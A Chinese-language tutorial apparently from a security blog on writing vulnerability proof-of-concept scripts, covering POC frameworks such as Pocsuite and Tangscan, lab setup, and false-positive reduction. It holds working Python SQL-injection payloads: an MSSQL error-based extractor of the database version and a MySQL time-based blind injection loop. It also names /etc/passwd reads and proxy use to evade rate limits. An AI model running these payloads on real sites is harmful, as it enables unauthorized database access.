如何自己動手編寫漏洞POC
1 前言
nn
善於編寫高質量POC,有助於我們更好地發現和利用漏洞,再結合爬蟲探測程序,就可以構建一個比較完善的漏洞利用框架。編寫POC的門檻並不是很高,關鍵還是在於對漏洞本身的理解,只要有興趣,再加點技巧,你就會發現其實都是套路。
2 什麼是POC
2.1 POC概念
POC(Proof of Concept),直譯為「概念證明」,百度百科的權威定義如下:
「概念證明是證實發布的漏洞真實性的測試代碼」
它可能僅僅只是一小段代碼,功能也比較簡單,只要能夠用來驗證某一個或者一類漏洞真實存在即可。
2.2 POC與EXP的區別
很多人容易把這兩個概念弄混淆,兩者從定義上講是有區別的:
「POC」
POC可以看成是一段驗證的代碼,就像是一個證據,能夠證明漏洞的真實性。
「EXP」
EXP(Exploit):中文直譯為「漏洞利用」,簡單點講,就是通過EXP能夠實現漏洞的利用價值。比如某個系統存在SQL注入漏洞,我們可以編寫EXP來提取資料庫版本信息等。
但是有時兩者也不太好區分。我們也可以在POC中加入Exploit的代碼,現在很多開源的POC框架其實就是這樣做的,比如下面會講到的幾個框架。
3 典型POC框架有哪些
POC框架可以對大量POC進行管理與調度,提供了統一的編程規範與介面,是編寫POC很好的幫手。我們只需要按照框架自定義的格式寫好POC,然後放在框架中運行即可。目前國內有很多非常優秀框架,這裡就介紹其中的幾款:
3.1 Pocsuite
Pocsuite框架現為知道創宇Seebug平台通用的漏洞驗證框架,使用Python編寫POC。可以提交POC換kb,kb可以用來兌換現金,掙點零花錢還是相當不錯的。老司機們可能聽過Sebug,那是Seebug的前身,2016年Sebug收購了另一個優秀框架Beebeeto後,更名為Seebug。
github地址:knownsec/Pocsuite
3.2 Tangscan
Tangscan(唐朝掃描器)是wooyun社區的官方框架,使用Python編寫POC。可以提交POC換湯圓,參與現金分紅。Tangscan社區已經關閉,不知道還會不會開,裡面的湯圓還沒取出來呢。
github地址:WooYun/TangScan
3.3 Bugscan
Bugscan是四葉草的官方框架,使用Python編寫POC。提交POC插件獲取rank 獎勵,可兌換實物獎勵,獎品還是蠻豐富的。
SDK下載地址:http://img.bugscan.net/bin/sdk.zip
還有其他一些優秀的框架沒有介紹到。大家可以選擇其中任意一個來使用,都非常不錯。當然如果有興趣,也可以自己寫個框架,過程並不複雜。
4 需要準備什麼
編寫POC需要做一些基礎性的工作。
4.1 構建POC框架
可以直接選擇上面開源的POC框架,也可以自己寫框架。選好框架後,需要熟練掌握框架的代碼規範和介面,這些都是編寫高質量POC的基礎。當然了,這個不是必須的步驟,我們也可以不使用框架而直接編寫POC,但是不建議這麼做。
4.2 熟悉漏洞詳情
不管是自己挖的漏洞,還是公開漏洞,在寫POC之前,首先需要把漏洞詳情搞清楚。對於一些開源CMS,可以到官網或者github上找到對應版本的源碼,搭建模擬環境進行研究;有些不開源的漏洞,可以在網上找一些案例進行黑盒測試,復原漏洞產生過程(別做破壞性試驗)。最好再撰寫一份屬於自己的漏洞分析報告,這樣可以加深對漏洞的理解,為編寫POC打下更堅實的基礎。
4.3 構建漏洞靶場
調試POC最好還是搭建模擬環境,一般可以利用虛擬機或者Docker來實現。不到萬不得已,非常不建議大家直接利用互聯網上的Web應用來調試POC,以免對目標造成破壞。
4.4 選擇編程語言
編寫POC,首推語言當然是Python了,原因很簡單——好用,Python提供的強大類庫可以讓我們將主要精力都放在具體漏洞研究上,而不用去糾結諸如如何去實現HTML解析、HTTP發送等輔助功能。常用到的Python庫如下:
- urllib2: 發送HTTP/HTTPS請求
- requests:更「高級」的urllib2庫
- re:正則表達式
- random:生成隨機數
- base64:base64編碼
- hashlib:常用來計算md5值
- time:用來統計訪問時間延遲
- ……
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn當然語言只是工具載體,並不局限於Python。原則上你想用什麼語言都可以,建議首選那種外部條件依賴少、簡單好用而且自己也比較熟悉的語言。
5 需要注意什麼
編寫POC比較自由,但是想實現一個高質量的POC,就要格外注意代碼的規範性。
5.1 降低誤報率
盡量選擇一些「特殊」的字元串作為判斷漏洞的特徵值。比如我們編寫驗證SQL注入漏洞的POC時,就可以充分利用資料庫的特性:
MySQL
MySQL內置了md5函數,可以用其來輸出某個數字的md5值:
select md5(1);n
但是固定計算某個數字的md5值,特徵還是有點明顯,加上隨機數:
#生成隨機數nrand_num=random.randint(0,1000)n計算md5值nhash_flag=hashlib.md5(str(rand_num)).hexdigest()n…n#利用注入計算md5n…select md5({num})….format(num=rand_num)n…n
MSSQL
MSSQL在2005版本以後,提供了計算md5值的內置函數:
select sys.fn_varbintohexstr(hashbytes(MD5,1));n
Oracle
Oracle實現md5比較複雜,可以利用CHR編碼:
select CHR(97) || CHR(99) || CHR(120) || CHR(118) || CHR(99) || CHR(98) || CHR(110) from dualn
效果相當於:
select acxvcbn from dualn
也可以結合隨機數:
Rand_str =nrandom.sample("1234789acioepLFTQVBUSEus",7)nkeyword=.join(Rand_str)nvalue=[CHR(+str(ord(x))+)|| for x in keyword]nvalue=.join(value).rstrip(||)n
再比如任意文件讀取漏洞,在讀取系統文件時,要考慮到Windows和Linux的差異性,比如:
- Windows 讀取C:/Windows/System32/drivers/etc/hosts
- Linux 讀取/etc/passwd
其他類型的漏洞也要具體分析,這裡不再贅述。
5.2 不要帶有破壞性
執行POC不能對目標造成破壞,只要驗證漏洞存在就可以了。
5.3 儘可能降低訪問頻率
比如盲注漏洞利用,需要不斷向伺服器發包,在編寫POC時,應該適當減少發包頻率,可以sleep,也可以考慮在自己的POC框架中加入代理資源。
6 POC實例
說了這麼多,下面就來實戰一把。這裡我們就選擇Tangscan框架吧,其他的框架格式也差不多。
Tangscan框架POC文檔的結構如下:
#! /usr/bin/env pythonn# -*- coding: utf-8 -*-nnfrom modules.exploit import TSExploitnnclass TangScan(TSExploit):n """n 類名必須是TangScan,而且需要繼承於TSExploitn """n def __init__(self):n super(self.__class__, self).__init__()n self.info = {n "name": "", # 該POC的名稱n "product": "", # 該POC所針對的應用名稱, 嚴格按照 tangscan 主頁上的進行填寫n "product_version": "", # 應用的版本號n "desc": """nn """, # 該POC的描述n "license": self.license.TS, # POC的版權信息n "author": [""], # 編寫POC者n "ref": [n {self.ref.url: ""}, # 引用的urln {self.ref.wooyun: ""}, # wooyun案例n ],n "type": self.type.injection, # 漏洞類型n "severity": self.severity.high, # 漏洞等級n "privileged": False, # 是否需要登錄n "disclosure_date": "2014-09-17", # 漏洞公開時間n "create_date": "2014-09-17", # POC 創建時間n }nn self.register_option({n "url": { # POC 的參數 urln "default": "", # 參數的默認值n "required": True, # 參數是否必須n "choices": [], # 參數的可選值n "convert": self.convert.url_field, # 參數的轉換函數n "desc": "" # 參數的描述n }n })nn self.register_result({n "status": False, # POC 的返回狀態n "data": {nn }, # POC 的返回數據n "description": "", # POC 返回對人類良好的信息n "error": "" # POC 執行失敗的原因n })nn def verify(self):n """n 驗證類型,盡量不觸發waf規則n :return:n """n passnn def exploit(self):n """n 攻擊類型n :return:n """n passnnnif __name__ == __main__:n from modules.main import mainn main(TangScan())n
有了模板,我們現在需要做的其實就是「填空」。最主要的就是實現verify和exploit兩個函數(Tangscan將POC與EXP集合在一起了)。也可以只完成其中一個函數,另外一個做如下處理:
def exploit(self):n return self.verify()n
下面就選取SQL注入漏洞POC編寫的例子,來大概描述下POC編寫的一些常用技巧。
SQL注入大致上可以分為非盲注和盲注兩大類:
6.1 非盲注類型
非盲注注入也有很多種,比如回顯報錯、Union查詢等。這裡編寫回顯報錯注入的POC代碼,其他類型的編寫技巧比較類似。回顯報錯注入可以直接從報錯信息中讀取數據。構造計算md5值的payload作為verify函數,利用SQL提取資料庫版本信息的payload作為exploit函數。下面是一個MSSQL報錯回顯注入的例子:
def verify(self):n rand_num=random.randint(0,1000)n hash_flag=hashlib.md5(str(rand_num)).hexdigest()n payload=("1 and sys.fn_varbintohexstr(hashbytes(MD5, {num}))=0 and 1=1").format(num=rand_num)n exp_url="{domain}/xxxx?sql={py}".format(domain=self.option.url,py=payload)n try:n response = requests.get(url=exp_url, timeout=15, verify=False)n except Exception, e:n self.result.error = str(e)n returnn if hash_flag not in response.content:n self.result.status = Falsen returnn self.result.status = Truen self.result.description = "目標 {url} 存在SQL注入漏洞,nt測試鏈接: {eurl}".format(n url=self.option.url,n eurl=exp_urln )nndef exploit(self):n exp_url="{domain}/xxxx?sql=a and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip(/))n try:n response = requests.get(url=exp_url, timeout=15, verify=False)n result = re.findall(r~~~(.*?)~~~, response.content, re.S | re.I)n except Exception, e:n self.result.error = str(e)n returnnn if len(result) == 0:n self.result.status = Falsen returnn self.result.status = Truen self.result.description = "目標 {url} 存在SQL注入漏洞, 獲取到的資料庫版本信息: {version}nt測試鏈接: {eurl}".format(n url=self.option.url,n version=result[0],n eurl=exp_urln )n
上面的exploit函數利用』~~~』將版本信息包住,是為了方便利用正則表達式提取,並且在payload中進行了編碼處理,這種方式在方便我們提取信息的同時,也起到了降低誤報率的作用,在編寫POC的過程中經常用到。
6.2 盲注類型
盲注類型也有好幾種,比如Boolen盲注、時間延遲注入等。盲注需要不斷提交請求,從而獲取完整的數據信息。這裡以MySQL時間延遲注入類型為例:
def verify(self):n return self.exploit()nn def exploit(self):n ver = ""n ver_len = 0n exp_url = ("{domain}/xxxx?sql=".format(domain=self.option.url))n payloads = [@,_,., -, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0]+ list(string.ascii_lowercase)n l = "1 AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))a) AND a=a"n s = "1 AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))a) AND a=a"nn #獲取長度n for x in range(1, 30):n start = time.time()n py=l % str(x)n vulurl=exp_url+pyn try:n response = requests.get(vulurl,timeout=15, verify=False)n #限制訪問速度n time.sleep(0.5)n if response.status_code != 200:n self.result.status = Falsen returnn except Exception,e:n self.result.error = str(e)n returnn end = time.time()n if (end - start) >=8:n ver_len = xn breaknn if ver_len == 0:n self.result.status = Falsen returnnn #移位獲取數據n for x in range(1, ver_len+1):n for payload in payloads:n start = time.time()n py= s % (str(x), str(ord(payload)))n vulurl=exp_url+pyn try:n response = requests.get(vulurl, timeout=15, verify=False)n #限制請求速率n time.sleep(0.5)n if response.status_code != 200:n self.result.status = Falsen returnn except Exception,e:n self.result.error = str(e)n returnn end = time.time()n if (end - start) >=6:n ver = ver + payloadn #檢查長度n if len(ver)!=ver_len:n self.result.status = Falsen returnn self.result.status = Truen self.result.description = "目標 {url} 存在SQL注入漏洞, 獲取到的當前資料庫版本為:{db_ver}".format(n url=self.option.url,n db_ver=vern )n
上面的exploit函數採用移位方式來獲取資料庫版本信息,還可以利用二分法等更高效的方法來實現,大家可以嘗試編寫。
為了防止同一IP地址頻繁訪問目標URL,代碼中通過sleep方式來限制訪問速度,更好的方法是構建自己的代理網路,使用代理方式來實現,感興趣的可以自己研究下,這裡不多講。
7 後記
上面以SQL注入漏洞為例編寫了兩個比較有代表性的POC樣本,其他類型的Web漏洞的編寫技巧也有相似之處,以後如果有時間再繼續寫吧。
參考文獻
概念證明_百度百科knownsec/PocsuiteWooYun/TangScanBugScan 插件開發文檔 | BugScan 插件開發文檔關於漏洞演練平台
漏洞攻防演練平台已上線
邀請碼獲得方式可參考車王傾旋公眾號「知安小酒館」:漏洞演練平台上線
推薦閱讀:
※Bypass安全狗上傳攔截
※如何入門web滲透?
※(內網測試)Eternalblue(MS17-010)測試windows 7 sp1 64位
※NO.7 WebGoat還是蠻好的滲透練手工具
※跟著安全牛大表哥學滲透